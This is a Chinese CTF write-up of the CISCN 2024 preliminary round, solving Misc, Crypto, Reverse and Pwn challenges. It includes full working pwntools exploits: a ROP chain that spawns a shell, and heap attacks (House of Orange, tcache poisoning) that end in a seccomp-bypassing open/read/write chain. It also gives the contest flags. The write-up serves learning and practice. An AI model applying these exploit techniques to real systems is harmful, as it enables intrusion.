Skip to main content

第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup

·3264 words·7 mins·
CTF PWN Crypto Misc Reverse
Table of Contents

梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。

Misc
#

火锅链观光打卡
#

签到题。

浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:

hotpot
得到 flag :

flag{y0u_ar3_hotpot_K1ng}

Power_Trajectory_Diagram
#

这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇文章。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。

将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:

trace36
trace37
每40组曲线中,会有一组曲线的最大波动处横坐标明显右移,例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动,而第37组最大波动右移代表着当前输入的密码字符是正确的,错误发生在下一位。 使用这种方法可以找到每40组曲线中最特殊的一组,并映射为相应的字符。(除了第481组到第520组,因此认为密码只有12位) 特殊曲线到字符的映射脚本如下:

data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']

list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]

password = ''
for i in range(12):
    tmp = list[i] - i*40 -1
    print(tmp)
    password += data[tmp]

print(password)

得到结果_ciscn_2024_,因此 flag 为:

flag{_ciscn_2024_}

Crypto
#

古典密码
#

题目给了一个字符串AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9,没有说明经过何种处理。 放到 CyberChef 选择 Encrption / Encoding 逐个尝试,用 Atbash Cipher 解密后 Base64 解码,得到:

fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

根据题目的提示想到栅栏密码,将字符串对半分,然后Z形拼接就能得到 flag:

flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

Reverse
#

gdb_debug
#

IDA反编译,注意到程序中设置随机数种子的代码:

v3 = time(0LL);
srand(v3 & 0xF0000000);

实际上随机数种子恒为0x60000000,因此该程序中的随机数都可以确定,可以使用 ctypes 来调用 libc 库设置相应的随机数种子,获取每一次调用 rand() 返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解,exp 如下:

from pwn import *
from z3 import *
from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)

# Initialization
flag_len = 38
solver = Solver()

# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]

# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))

# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
    random_val = libc.rand() & 0xff
    solver.add(v28[i] == flag_chars[i] ^ random_val)

# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
    v18 = (libc.rand() % (k + 1)) & 0xff
    v19 = ptr[k]
    ptr[k] = ptr[v18]
    ptr[v18] = v19
    k -= 1

val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]

val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]

random_vals = [0] * flag_len
for i in range(flag_len):
    random_vals[i] = val1[i] ^ val2[i]

# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
    solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)

# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
    solver.add(s1[i] == v31[i] ^ v32[i])

s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
    solver.add(s1[i] == ord(s2[i]))

if solver.check() == sat:
    model = solver.model()
    flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
    print(f'flag: {flag}')
else:
    print('unsat')

其中第三次获取38个随机数时,我使用 ctypes 得到的随机数与实际的随机数不符,因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值,得到第三轮的38个随机数。不清楚是什么导致了这种差异,但或许这就是题目提示“动静结合”的原因? 最后得到flag:

flag{78bace5989660ee38f1fd980a4b4fbcd}

Pwn
#

gostack
#

一道简单的栈溢出+ROP题目,一开始被 golang 唬住了,逆向了一会儿没找到缓冲区的大小,然后直接在 gdb 中看就清楚多了。 首先checksec:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP 找到要用的gadgets,构造 ROP chain ;在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节,加上填充就得到 payload。exp 如下:

from pwn import *

context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'

syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()

# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()

syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :

flag{08c559f9-81f7-4c74-a983-9eb59502de34}

orange_cat_diary
#

首先用 IDA 反编译程序,在程序中发现以下漏洞:

  1. heap overflow(8字节的溢出)
  2. UAF(只能使用一次,因为只能 delete 一次)
    • write after free
    • read after free

再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。 利用代码如下:

from pwn import *

# all protections are enabled
# heap overflow
# we can only use show and delete once

context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247

# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')

def menu():
    p.recvuntil(b'###orange_cat_diary###')
    p.recvuntil(b'Please input your choice:')

def add(size, content):
    menu()
    p.sendline(b'1')
    p.recvuntil(b'Please input the length of the diary content:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Please enter the diary content:\n')
    p.send(content)

def show():
    menu()
    p.sendline(b'2')

def delete():
    menu()
    p.sendline(b'3')

def edit(size, content):
    menu()
    p.sendline(b'4')
    p.recvuntil(b'Please input the length of the diary content:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Please enter the diary content:\n')
    p.send(content)

# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')

# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')

p.interactive()

get shell 并得到 flag :

flag{2a6de11d-8a93-484d-9444-7d1046c55134}

EzHeap
#

我刚开始放 payload 的堆选了0x80大小,根本放不下 ROP chain ,直接导致比赛结束时没来得及将这题做完,赛后十来分钟改了个大小就打通了。

又一道堆题,但是使用 seccomp 限制了系统调用:

$ seccomp-tools dump ./EzHeap
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0010
 0009: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

因此很容易想到先用 mprotect 更改页面权限,然后 orw 直接读 flag。但是我最后没有使用 mprotect ,直接在栈上构造 ROP chain 来进行 orw 。

分析程序,发现漏洞:

  1. 极大 heap overflow
  2. 输入无 0 截断可导致相邻内存泄漏

而且最多允许我们 malloc 80个堆块,因此应该有不少利用方法。我主要利用 tcache poisoning 。攻击思路如下:

  • 首先利用堆溢出和相邻内存泄露,通过程序内已经有的 unsorted bins 等堆块,泄露 libc 和 heap 地址

  • 计算 libc 中 __environ 的地址,利用 tcache poisoning 获得该地址处的堆块进行读,泄露 stack 地址

    libc 版本为2.35,因此要手动 safe link

  • 在某个堆块中写入 flag\x00 用于 orw ,搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ,因为库函数的open 往往使用 openat 系统调用,会被禁止。因此我直接选择全部使用 syscall ; ret gadget ,这也是导致我 payload 巨大的原因。

  • malloc_heap 操作对应函数的 ret 处下断点,计算此时 stack 地址与泄露 stack 地址的偏移,然后再利用 tcache poisoning 获得目标地址附近(target_stack-0x8,因为要16字节对齐且不能破坏canary)的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。malloc_heap 返回时会被劫持到该 ROP chain 。

exp 如下:

from pwn import *

context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170

# p = binary.process()
p = remote('8.147.133.76', 13951)

def menu():
    p.recvuntil(b'choice >> ')

def malloc_heap(size, content):
    menu()
    p.sendline(b'1')
    p.recvuntil(b'size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'content:')
    p.send(content)

def free_heap(index):
    menu()
    p.sendline(b'2')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())

def edit_heap(index, size, content):
    menu()
    p.sendline(b'3')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())
    p.recvuntil(b'size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'content:')
    p.send(content)

def show_heap(index):
    menu()
    p.sendline(b'4')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())

def exit_program():
    menu()
    p.sendline(b'5')

def mangle(pos, ptr, page_offset=0):
    return ((pos >> 12) + page_offset) ^ ptr

def demangle(ptr, page_offset=0):
    pos = (ptr >> 12) + page_offset
    m = pos ^ ptr
    return m >> 24 ^ m

def leak_heap_libc():
    global heap_leak, libc_leak
    # idx 0
    malloc_heap(0x40, b'A'*0x40)
    edit_heap(0, 0x50, b'A'*0x50)
    show_heap(0)
    p.recvuntil(b'A'*0x50)
    libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
    edit_heap(0, 0xd0, b'B'*0xd0)
    show_heap(0)
    p.recvuntil(b'B'*0xd0)
    heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
    payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
    payload = payload.ljust(0xd0, b'\x00')
    edit_heap(0, 0xd0, payload)

### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')

### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')

### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')

最后得到 flag :

flag{c9112d19-27e3-41ec-9957-fefb3f109229}
BeaCox
Author
BeaCox
Stay humble, remain critical.

Related

TBTL CTF 2024 WriteUp
·1874 words·4 mins
CTF PWN Crypto Misc Reverse
SJTU CTF 2024 暨 GEEKCTF 2024 WriteUp
·9382 words·19 mins
CTF PWN Web Misc Reverse